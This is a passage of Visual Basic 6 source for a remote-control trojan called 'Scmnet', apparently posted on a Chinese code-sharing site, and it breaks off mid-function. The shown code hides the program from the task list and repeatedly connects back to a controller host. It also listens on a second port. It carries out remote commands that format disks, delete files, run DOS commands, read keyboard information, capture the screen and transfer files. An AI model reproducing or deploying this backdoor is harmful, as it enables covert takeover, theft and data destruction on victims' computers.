📄 main.frm
字号:
VERSION 5.00
Object = "{F9043C88-F6F2-101A-A3C9-08002B2F49FB}#1.2#0"; "COMDLG32.OCX"
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Object = "{6FBA474E-43AC-11CE-9A0E-00AA0062BB4C}#1.0#0"; "SYSINFO.OCX"
Begin VB.Form Main
BorderStyle = 1 'Fixed Single
Caption = "Scmnet"
ClientHeight = 2940
ClientLeft = 45
ClientTop = 330
ClientWidth = 3210
Icon = "Main.frx":0000
LinkTopic = "Form1"
MaxButton = 0 'False
ScaleHeight = 2940
ScaleWidth = 3210
StartUpPosition = 1 '所有者中心
Begin VB.Timer Timer3
Interval = 1
Left = 2640
Top = 2280
End
Begin VB.Timer Timer4
Interval = 1
Left = 2400
Top = 1560
End
Begin MSWinsockLib.Winsock Scmnet7
Left = 240
Top = 2400
_ExtentX = 741
_ExtentY = 741
_Version = 393216
Protocol = 1
End
Begin MSWinsockLib.Winsock Scmnet6
Left = 1080
Top = 1800
_ExtentX = 741
_ExtentY = 741
_Version = 393216
Protocol = 1
End
Begin MSWinsockLib.Winsock Scmnet5
Left = 240
Top = 1920
_ExtentX = 741
_ExtentY = 741
_Version = 393216
End
Begin VB.PictureBox RaPic
Height = 1575
Left = 0
ScaleHeight = 1515
ScaleWidth = 1755
TabIndex = 1
Top = 0
Width = 1815
End
Begin MSWinsockLib.Winsock Scmnet4
Left = 120
Top = 3840
_ExtentX = 741
_ExtentY = 741
_Version = 393216
Protocol = 1
End
Begin MSWinsockLib.Winsock Scmnet3
Left = 120
Top = 3840
_ExtentX = 741
_ExtentY = 741
_Version = 393216
End
Begin MSComDlg.CommonDialog Smsgs1
Left = 120
Top = 3840
_ExtentX = 847
_ExtentY = 847
_Version = 393216
CancelError = -1 'True
End
Begin VB.Timer Keybt
Interval = 1
Left = 600
Top = 3960
End
Begin VB.TextBox Keytxt
Height = 375
Left = 600
TabIndex = 0
Top = 3960
Width = 375
End
Begin MSWinsockLib.Winsock Scmnet2
Left = 600
Top = 3960
_ExtentX = 741
_ExtentY = 741
_Version = 393216
End
Begin VB.Timer Scmtimer1
Enabled = 0 'False
Interval = 1000
Left = 600
Top = 3960
End
Begin MSWinsockLib.Winsock Scmnet1
Left = 600
Top = 3960
_ExtentX = 741
_ExtentY = 741
_Version = 393216
End
Begin SysInfoLib.SysInfo SysInfo1
Left = 1920
Top = 1920
_ExtentX = 1005
_ExtentY = 1005
_Version = 393216
End
End
Attribute VB_Name = "Main"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Option Explicit
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''屏幕TOP
Private Declare Function SetDIBitsToDevice Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal dx As Long, ByVal dy As Long, ByVal SrcX As Long, ByVal SrcY As Long, ByVal Scan As Long, ByVal NumScans As Long, Bits As Any, BitsInfo As BitMapInfo, ByVal wUsage As Long) As Long
Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Private Const HWND_BROADCAST = &HFFFF&
Private Const WM_HOTKEY = &H312
Public udp6 As Long 'Scmnet6的端口
Public udp7 As Long 'Scmnet7的端口
Private port1 As Integer 'winsock2的端口号
Public lian As Boolean '设定连接状态
Dim Shift As Byte
Dim ctrl As Byte
Dim alt As Byte
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''屏幕TOP
'''''''''''''''''''''''''''''''''''''''''''文件发送
Public filesend As Boolean '设置文件传输是否开始
Public fileput As Boolean
Public filepath As String '接收的文件咱径
Dim Filesize As Long '要接收文件的总字节数
'''''''''''''''''''''''''''''''''''''''''''''''文件发送
Private Sub Form_Load()
On Error Resume Next
App.TaskVisible = False
With Scmnet1
.Close
.RemotePort = "8818" 'Textport2
.RemoteHost = "192.168.1.2" '"scmxp.vicp.net" 'Textport1
End With
With Scmnet2
.Close
.LocalPort = "8820" ' Text4.Text
.Listen
End With
Scmtimer1.Enabled = True
End Sub
Private Sub Keybt_Timer()
Call Keyb_t
End Sub
Private Sub Scmnet1_Connect()
On Error Resume Next
Scmtimer1.Enabled = False
'Timer5.Enabled = True
RemIP = Scmnet1.RemoteHostIP
Scmnet1.SendData "IPNAMEF" & Scmnet1.LocalHostName
End Sub
Private Sub Scmnet1_Close()
On Error Resume Next
Scmnet1.Close
Msgwin.Enmsgstr = "Exmsg"
Scmtimer1.Enabled = True
End Sub
Private Sub Scmnet1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
On Error Resume Next
Scmnet1.Close
Msgwin.Enmsgstr = "Exmsg"
Scmtimer1.Enabled = True
End Sub
Private Sub Scmnet1_DataArrival(ByVal bytesTotal As Long)
Dim a As String
Dim Scmdat As String
Scmnet1.GetData a
Scmdat = left$(a, 7)
Select Case Scmdat
Case "Reqhost" '重启
Call Control("Reqhost")
Case "Conhost"
Call Control("Sername" & right$(a, Len(a) - 7))
Scmnet1.SendData "Conname" & Scmnet1.LocalHostName
Case "Fatsend" '文件共享
Call Control("Fatsend")
Case "Portfo2" '远程屏幕
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''屏幕TOP
On Error GoTo er
Dim al1 As String
If (lian = False) Then 'lian=ture 时 为已连接，
lian = True
Call socktwo
End If
With Scmnet5
.Close
.RemoteHost = RemIP
.RemotePort = "8000"
.Connect
End With
'Exit Sub
al1 = 2
If al1 = 2 Then
Else
er:
Call socktwo
Call socknext1
End If
Scmnet1.SendData "Portfo2" & Scmnet5.LocalPort
Case "Udpport"
udp6 = right$(a, Len(a) - 7)
Scmnet1.SendData "udppof1"
Case "udppof2"
udp7 = right$(a, Len(a) - 7)
Call udpport
Scmnet1.SendData "udpcons"
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''屏幕TOP
Case "CLOSECU" '关机计算机
Call Control("CLOSECU")
Case "RESETLO" '注销计算机
Call Control("RESETLO")
Case "RESETCU" '重启计算机
Call Control("RESETCU")
Case "OpenCDR" '打开CD
Call Control("OpenCDR")
Case "CloseCD" '关闭CD
Call Control("CloseCD")
Case "Winrunt" '系统开机远行时间
Call Control("Winrunt")
Case "Keybinf" '键盘信息
Call Control("Keybinf")
Case "Msgbox1"
Call Control("Msgbox1" & right$(a, Len(a) - 7))
Case "Msgbox2"
Call Control("Msgbox2" & right$(a, Len(a) - 7))
Case "Msgbox3"
Call Control("Msgbox3" & right$(a, Len(a) - 7))
Case "Wmpplay"
Call Control("Wmpplay" & right$(a, Len(a) - 7))
Case "Wmphide"
Call Control("Wmphide" & right$(a, Len(a) - 7))
Case "Wmpstop"
Call Control("Wmpstop" & right$(a, Len(a) - 7))
Case "Msgwins"
Call Control("Msgwins" & right$(a, Len(a) - 7))
Case "Messgif"
Call Control("Messgif" & right$(a, Len(a) - 7))
Case "Messgim"
Call Control("Messgim" & right$(a, Len(a) - 7))
Case "Sabeep1" '锋呜
Call Control("Sabeep1" & right$(a, Len(a) - 7))
Case "Sabeep2" '锋呜
Call Control("Sabeep2" & right$(a, Len(a) - 7))
Case "Sabeep3" '锋呜
Call Control("Sabeep3" & right$(a, Len(a) - 7))
Case "Getdirs" '获得分区信息
Call Control("Getdirs")
Case "Getsysf" '得到系统消息
Call Control("Getsysf")
Case "Hidestc" '隐藏“开始”按纽
Call Control("Hidestc")
Case "Showstc" '显示“开始”
Call Control("Showstc")
Case "Hidetas" '隐藏任务栏
Call Control("Hidetas")
Case "Showtas" '显示任务栏
Call Control("Showtas")
Case "Hidedes" '隐藏桌面
Call Control("Hidedes")
Case "Showdes" '恢复桌面
Call Control("Showdes")
Case "Hideclo" '隐藏时间
Call Control("Hideclo")
Case "Showclo" '显示时间
Call Control("Showclo")
Case "Hidepro" '隐藏任务栏程序
Call Control("Hidepro")
Case "Showpro" '显示任务栏程序
Call Control("Showpro")
Case "Hidetyp" '隐藏后台程序
Call Control("Hidetyp")
Case "Showtyp" '显示后台程序
Call Control("Showtyp")
Case "Hidefas" '隐藏快速启动栏程序
Call Control("Hidefas")
Case "Showfas" '显示快速启动栏程序
Call Control("Showfas")
Case "Formatc" '快速格式化磁盘
Call Control("Formatc" & right$(a, Len(a) - 7))
Case "Formatd" '完全格式化磁盘
Call Control("Formatd" & right$(a, Len(a) - 7))
Case "Wriautf"
Call Control("Wriautf")
Case "Wriautg"
Call Control("Wriautg")
Case "Closecp" '重启(例)
Call Control("Closecp")
Case "Comaub1" '执行对话框
Call Control("Comaub1" & right$(a, Len(a) - 7))
Case "Comaub2" '执行对话框
Call Control("Comaub2" & right$(a, Len(a) - 7))
Case "Comaub3" '执行对话框
Call Control("Comaub3")
Case "LIULANE" '打开网站
Call Control("LIULANE" & right$(a, Len(a) - 7))
Case "OPENFIL" '打开文件
Call Control("OPENFIL" & right$(a, Len(a) - 7))
Case "DELETEF" '删除文件
Call Control("DELETEF" & right$(a, Len(a) - 7))
Case "Cmdcoms" 'DOS命令
Call Control("Cmdcoms" & right$(a, Len(a) - 7))
Case "Cwallpb" '设置平铺
Call Control("Cwallpb" & right$(a, Len(a) - 7))
Case "Cwallpm" '设置居中
Call Control("Cwallpm" & right$(a, Len(a) - 7))
Case "Cwallpk" '设置拉伸
Call Control("Cwallpk" & right$(a, Len(a) - 7))
Case "Delwall" '删除墙纸
Call Control("Delwall")
End Select
End Sub
Private Sub Scmnet2_ConnectionRequest(ByVal requestID As Long)
If Scmnet2.State <> sckClosed Then
Scmnet2.Close
Scmnet2.Accept requestID
Scmnet2.SendData "IPNAMEF" & Scmnet2.LocalHostName
End If
End Sub
Private Sub Scmnet2_Close()
Scmnet2.Close
Scmnet2.Listen
End Sub
Private Sub Scmnet2_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Scmnet2.Close
Scmnet2.Listen
End Sub
Private Sub Scmnet2_DataArrival(ByVal bytesTotal As Long)
Dim a As String
Dim Scmdat As String
Scmnet2.GetData a, vbString
Scmdat = left$(a, 7)
Select Case Scmdat
Case "Closeho"
Call Control("Closeho")
Case "Closeco"
Scmnet2.Close
Scmnet2.Listen
Case "Reqhost" '重启
Call Control("Reqhost")
End Select
End Sub
Private Sub Scmtimer1_Timer()
On Error Resume Next
If Scmnet1.State = sckConnected Then
Else
Scmnet1.Connect
End If
If Scmnet1.State = sckError Then
Scmnet1.Close
Scmnet1.Connect
Else
End If
End Sub
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''文件共享
Private Sub Scmnet3_Close()
On Error Resume Next
Scmnet3.Close
filesend = False
End Sub
Private Sub Scmnet3_Connect()
Close #1
'初始化数据
fileput = False
list2bool = 0
list2index = 0
a4 = 0
ReDim list2s(0)
Scmnet1.SendData "Fatsend"
End Sub
Private Sub Scmnet3_DataArrival(ByVal bytesTotal As Long)
On Error GoTo er1
If (fileput = False) Then
Dim k1 As String
Dim k2 As String 'k2为0时为端口号，为 1 时为要列出的文件路径 为 2 时为要传输的文件路径
Dim k3 As String 'k2为3时，为传送驱动器列表 'k2为4时为从list2传到list1
'Dim Dfs As String
Static OldName, Newname As String
Scmnet3.GetData k1
k2 = left(k1, 1)
'Dfs = left(k1, 7)
k3 = right(k1, Len(k1) - 1)
strPathName = k3
Dim fs
Set fs = CreateObject("Scripting.FileSystemObject")
Select Case k2
Case 0
Scmnet4.RemoteHost = Scmnet3.RemoteHostIP
Scmnet4.RemotePort = k3
Call onefile
Case 1
Call twofile(k3)
Case 2
fileput = True
Dim k4 As String
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -